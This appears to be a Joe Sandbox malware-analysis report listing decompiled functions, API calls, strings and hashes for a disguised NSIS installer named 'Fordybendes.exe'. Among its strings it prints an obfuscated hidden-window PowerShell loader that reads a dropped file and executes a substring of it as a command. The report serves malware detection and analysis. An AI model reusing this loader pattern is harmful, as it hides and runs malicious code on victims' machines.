GetSystemMetrics.USER32(00000002), ref: 0040558B
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004055AC
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004055BD
SendMessageA.USER32(?,00001001,00000000,?), ref: 004055D0
SendMessageA.USER32(?,00001026,00000000,?), ref: 004055DE
SendMessageA.USER32(?,00001024,00000000,?), ref: 004055F1
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405613
ShowWindow.USER32(?,00000008), ref: 00405627
GetDlgItem.USER32(?,000003EC), ref: 00405648
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405658
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405671
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 0040567D
GetDlgItem.USER32(?,000003F8), ref: 00405556

Part of subcall function 0040432C: SendMessageA.USER32(00000028,?,00000001,0040415C), ref: 0040433A

GetDlgItem.USER32(?,000003EC), ref: 00405699
CreateThread.KERNELBASE(00000000,00000000,Function_0000546D,00000000), ref: 004056A7
CloseHandle.KERNELBASE(00000000), ref: 004056AE
ShowWindow.USER32(00000000), ref: 004056D1
ShowWindow.USER32(?,00000008), ref: 004056D8
ShowWindow.USER32(00000008), ref: 0040571E
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405752
CreatePopupMenu.USER32 ref: 00405763
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405778
GetWindowRect.USER32(?,000000FF), ref: 00405798
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004057B1
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004057ED
OpenClipboard.USER32(00000000), ref: 004057FD
EmptyClipboard.USER32 ref: 00405803
GlobalAlloc.KERNEL32(00000042,?), ref: 0040580C
GlobalLock.KERNEL32(00000000), ref: 00405816
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040582A
GlobalUnlock.KERNEL32(00000000), ref: 00405843
SetClipboardData.USER32(00000001,00000000), ref: 0040584E
CloseClipboard.USER32 ref: 00405854

Strings

B, xrefs: 004057C9

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: B
API String ID: 590372296-2384200711
Opcode ID: aa56682a0058abc693aab28f860088d86cd1423b0d49ffcea1c3f6d996dd9dde
Instruction ID: d5bdf021d5a34ecffe6c80fbec8b44066cd97d21a67b6ed31f5fc43fae257e2b
Opcode Fuzzy Hash: aa56682a0058abc693aab28f860088d86cd1423b0d49ffcea1c3f6d996dd9dde
Instruction Fuzzy Hash: FDA16C71A00209FFDF11AFA0DE85AAE7F79EB04355F00403AFA45B61A0CB754E519F58

Function 00405A19 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405A42
lstrcatA.KERNEL32(00421928,\*.*,00421928,?,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405A8A
lstrcatA.KERNEL32(?,0040A014,?,00421928,?,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405AAB
lstrlenA.KERNEL32(?,?,0040A014,?,00421928,?,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405AB1
FindFirstFileA.KERNEL32(00421928,?,?,?,0040A014,?,00421928,?,?,761336B0,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Fordybendes.exe"), ref: 00405AC2
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405B6F
FindClose.KERNEL32(00000000), ref: 00405B80

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A26
\*.*, xrefs: 00405A84
"C:\Users\user\Desktop\Fordybendes.exe", xrefs: 00405A22

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Fordybendes.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3632933671
Opcode ID: f1679ef5f70ff734a25cf438f2dc45318474c1ecb1e9537d56531407141502a6
Instruction ID: a817277ec7f20b9af2245384c75ee686abf060e187cea1321872b257c958163f
Opcode Fuzzy Hash: f1679ef5f70ff734a25cf438f2dc45318474c1ecb1e9537d56531407141502a6
Instruction Fuzzy Hash: C851D030904A14AADF22AB618C89BAF7B78DF42754F24417BF841B51D2C73C6982DE6D

Function 00406973 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 296df7cd9dbe4544da9d0235d5fe1e7d40891dc8a17bd66a4af9835678f605b5
Instruction ID: e92eedcc30d7904230e65b5903ab186ffa4a4f2c8c56811f1de33f85ea582c23
Opcode Fuzzy Hash: 296df7cd9dbe4544da9d0235d5fe1e7d40891dc8a17bd66a4af9835678f605b5
Instruction Fuzzy Hash: E2F18771D04229CBCF18CFA8C8946ADBBB1FF44305F25816ED852BB281D7786A86CF45

Function 004065EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(761336B0,00422170,00421D28,00405D1A,00421D28,00421D28,00000000,00421D28,00421D28,761336B0,?,C:\Users\user\AppData\Local\Temp\,00405A39,?,761336B0,C:\Users\user\AppData\Local\Temp\), ref: 004065F5
FindClose.KERNEL32(00000000), ref: 00406601

Strings

p!B, xrefs: 004065EB

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: p!B
API String ID: 2295610775-3221062685
Opcode ID: dfc65eb41cf3005a49c9d827d0c2ee39ba4b2e7e25b251809efb7f1ef4f3a872
Instruction ID: 8286600825c1d2c65b5b958d36bd28f21951c74ef72bbff251daebb8155f21c9
Opcode Fuzzy Hash: dfc65eb41cf3005a49c9d827d0c2ee39ba4b2e7e25b251809efb7f1ef4f3a872
Instruction Fuzzy Hash: C7D012315091206BD25117786F0C85B7A599F55370711CF37F5A6F11E0C7758C7286AC

Function 00403DFD Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E39
ShowWindow.USER32(?), ref: 00403E59
GetWindowLongA.USER32(?,000000F0), ref: 00403E6B
ShowWindow.USER32(?,00000004), ref: 00403E84
DestroyWindow.USER32 ref: 00403E98
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403EB1
GetDlgItem.USER32(?,?), ref: 00403ED0
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403EE4
IsWindowEnabled.USER32(00000000), ref: 00403EEB
GetDlgItem.USER32(?,00000001), ref: 00403F96
GetDlgItem.USER32(?,00000002), ref: 00403FA0
SetClassLongA.USER32(?,000000F2,?), ref: 00403FBA
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 0040400B
GetDlgItem.USER32(?,00000003), ref: 004040B1
ShowWindow.USER32(00000000,?), ref: 004040D2
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004040E4
EnableWindow.USER32(?,?), ref: 004040FF
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404115
EnableMenuItem.USER32(00000000), ref: 0040411C
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00404134
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00404147
lstrlenA.KERNEL32(Formerer Setup: Completed,?,Formerer Setup: Completed,00000000), ref: 00404171
SetWindowTextA.USER32(?,Formerer Setup: Completed), ref: 00404180
ShowWindow.USER32(?,0000000A), ref: 004042B4

Strings

Formerer Setup: Completed, xrefs: 00404161, 00404167, 00404170, 0040417E

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Formerer Setup: Completed
API String ID: 121052019-1040966136
Opcode ID: 61c8b0ccc5816aafeb5dc5fe4a77bf9476a6ca135dfa3a8e91252f3d7819b148
Instruction ID: 58813ef5c6151bb3df3aba3858a4f119a3d94cf73287132a988f8c89e3e9f356
Opcode Fuzzy Hash: 61c8b0ccc5816aafeb5dc5fe4a77bf9476a6ca135dfa3a8e91252f3d7819b148
Instruction Fuzzy Hash: D3C1F5B1A00205BBDB206F61ED85E2B3A7DEB85746F50053EF681B11F1CB799842DB2D

Function 00403A60 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040667F: GetModuleHandleA.KERNEL32(?,00000000,?,004034E4,0000000C), ref: 00406691
Part of subcall function 0040667F: GetProcAddress.KERNEL32(00000000,?), ref: 004066AC

lstrcatA.KERNEL32(1033,Formerer Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Formerer Setup: Completed,00000000,00000002,761336B0,C:\Users\user\AppData\Local\Temp\,?,"C:\Users\user\Desktop\Fordybendes.exe",0000000A,0000000C), ref: 00403ADB
lstrlenA.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\stagnantness\topchef,1033,Formerer Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Formerer Setup: Completed,00000000,00000002,761336B0), ref: 00403B50
lstrcmpiA.KERNEL32(?,.exe), ref: 00403B63
GetFileAttributesA.KERNEL32(: Completed,?,"C:\Users\user\Desktop\Fordybendes.exe",0000000A,0000000C), ref: 00403B6E
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\stagnantness\topchef), ref: 00403BB7

Part of subcall function 004061B5: wsprintfA.USER32 ref: 004061C2

RegisterClassA.USER32(00423AC0), ref: 00403BF4
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403C0C
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C41
ShowWindow.USER32(00000005,00000000,?,"C:\Users\user\Desktop\Fordybendes.exe",0000000A,0000000C), ref: 00403C77
GetClassInfoA.USER32(00000000,RichEdit20A,00423AC0), ref: 00403CA3
GetClassInfoA.USER32(00000000,RichEdit,00423AC0), ref: 00403CB0
RegisterClassA.USER32(00423AC0), ref: 00403CB9
DialogBoxParamA.USER32(?,00000000,00403DFD,00000000), ref: 00403CD8

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A65
.DEFAULT\Control Panel\International, xrefs: 00403AC6
RichEd32, xrefs: 00403C8B
Formerer Setup: Completed, xrefs: 00403A8C, 00403A92, 00403AB7, 00403AC0, 00403AD5
C:\Users\user\AppData\Local\stagnantness\topchef, xrefs: 00403AEA, 00403AF2, 00403B8A, 00403B90, 00403BA0
RichEdit, xrefs: 00403CAA
"C:\Users\user\Desktop\Fordybendes.exe", xrefs: 00403A63
.exe, xrefs: 00403B5D
: Completed, xrefs: 00403B1E, 00403B26, 00403B33, 00403B7D, 00403B83
Control Panel\Desktop\ResourceLocale, xrefs: 00403A94
_Nb, xrefs: 00403BD3, 00403C3B
1033, xrefs: 00403A80, 00403AD6
RichEdit20A, xrefs: 00403C9B, 00403CA1
RichEd20, xrefs: 00403C7D

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Fordybendes.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\stagnantness\topchef$Control Panel\Desktop\ResourceLocale$Formerer Setup: Completed$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-2718722346
Opcode ID: 3c48bf4664ad4c9197e8a7552b24f38ec161e53f14bf8fc6153e2ea131ed51a9
Instruction ID: fb21703a0cb219a8f3641e8b8a3e7395a2c86801f57175af3e535ef3462aab5f
Opcode Fuzzy Hash: 3c48bf4664ad4c9197e8a7552b24f38ec161e53f14bf8fc6153e2ea131ed51a9
Instruction Fuzzy Hash: 9561B6703442046EE620AF659D45F373ABCEB8474AF40443FF981B62E2CB7D9D028A2D

Function 00402F31 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F42
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Fordybendes.exe,00000400,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00402F5E

Part of subcall function 00405DEA: GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405DEE
Part of subcall function 00405DEA: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 00405E10

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fordybendes.exe,C:\Users\user\Desktop\Fordybendes.exe,80000000,00000003,?,?,004036EC,?,?,00000008), ref: 00402FAA
GlobalAlloc.KERNEL32(00000040,00000008,?,?,004036EC,?,?,00000008,0000000A,0000000C), ref: 004030E0

Strings

C:\Users\user\Desktop\Fordybendes.exe, xrefs: 00402F48, 00402F57, 00402F6B, 00402F8B
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F38
Error launching installer, xrefs: 00402F81
soft, xrefs: 0040301F
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403107
"C:\Users\user\Desktop\Fordybendes.exe", xrefs: 00402F37
Null, xrefs: 00403028
C:\Users\user\Desktop, xrefs: 00402F8C, 00402F91, 00402F97
Inst, xrefs: 00403016

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Fordybendes.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Fordybendes.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-3191973220
Opcode ID: 9dda8f0c8f86cce6e6972106608d1071ed34c33a473a7669bd73a48644bf60ac
Instruction ID: 4a321ea1c49715b1b47a0bb030cb70b4d922ff216aaa97efe1fb1ba5c0ef36b3
Opcode Fuzzy Hash: 9dda8f0c8f86cce6e6972106608d1071ed34c33a473a7669bd73a48644bf60ac
Instruction Fuzzy Hash: DC51D371A01214ABDB20EFA5DD85B9E7EACEB54366F10403BF900B62D1C77C9E418B9D

Function 004062EA Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 208
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(: Completed,00000400), ref: 0040641C
GetWindowsDirectoryA.KERNEL32(: Completed,00000400,?,Completed,00000000,004053D3,Completed,00000000,00000000), ref: 00406432
SHGetPathFromIDListA.SHELL32(00000000,: Completed,?,004053D3,00000007,?,Completed,00000000,004053D3,Completed,00000000), ref: 00406491
CoTaskMemFree.OLE32(00000000,?,004053D3,00000007,?,Completed,00000000,004053D3,Completed,00000000), ref: 0040649A
lstrcatA.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch,?,Completed,00000000,004053D3,Completed,00000000), ref: 004064BE
lstrlenA.KERNEL32(: Completed,?,Completed,00000000,004053D3,Completed,00000000,00000000,004178D8,00000000), ref: 00406510

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064B8
Software\Microsoft\Windows\CurrentVersion, xrefs: 004063ED
Completed, xrefs: 00406319
: Completed, xrefs: 00406311, 004063EB, 00406406, 0040641B, 00406431, 00406465, 0040648F, 004064BD, 004064C3, 004064DB, 004064EE, 00406509, 0040650F, 0040651A, 00406544

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: : Completed$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-905382516
Opcode ID: 7a4fcdd4c78e333f76bb816c68d427fff657220326b08f724acd3492f18cc034
Instruction ID: 1c9ec7345ab22f02a0b281331869ecf5a94f5ab101962b25afda0e41a477266e
Opcode Fuzzy Hash: 7a4fcdd4c78e333f76bb816c68d427fff657220326b08f724acd3492f18cc034
Instruction Fuzzy Hash: C5610571A00211AFDB209F24EC85B7A7BA4AB55724F16813FF803B62D1C67D8D61CB5D

Function 0040177E Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)",C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre,00000000,00000000,00000031), ref: 004017BD
CompareFileTime.KERNEL32(-00000014,?,"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)","powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)",00000000,00000000,"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)",C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre,00000000,00000000,00000031), ref: 004017E7

Part of subcall function 00406257: lstrcpynA.KERNEL32(0000000C,0000000C,00000400,00403545,Formerer Setup,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406264

Part of subcall function 0040539B: lstrlenA.KERNEL32(Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000,?), ref: 004053D4
Part of subcall function 0040539B: lstrlenA.KERNEL32(00403298,Completed,00000000,004178D8,00000000,?,?,?,?,?,?,?,?,?,00403298,00000000), ref: 004053E4
Part of subcall function 0040539B: lstrcatA.KERNEL32(Completed,00403298,00403298,Completed,00000000,004178D8,00000000), ref: 004053F7
Part of subcall function 0040539B: SetWindowTextA.USER32(Completed,Completed), ref: 00405409
Part of subcall function 0040539B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040542F
Part of subcall function 0040539B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405449
Part of subcall function 0040539B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405457

Strings

C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\sitre, xrefs: 004017AB
C:\Users\user\Pictures\Vielsesring253, xrefs: 0040184B, 00401867
"powershell.exe" -windowstyle hidden "$Cardinalfishes=Get-Content 'C:\Users\user\AppData\Local\stagnantness\topchef\Fletcher\Fiskestimes\Statsskattedepartement.Und';$Ventricolumnar=$Cardinalfishes.SubString(54973,3);.$Ventricolumnar($Cardinalfishes)", xrefs: 0040179A, 004017A3, 004017B0, 004017C2, 004017D3, 00401809, 0040181F, 0040183D, 0040187D, 004018FE, 00401907, 00401911, 0040191C

Memory Dump Source

Source File: 00000000.00000002.1419120666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1419106465.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419136539.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419155347.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1419231683.0000000000433000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fordybendes.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
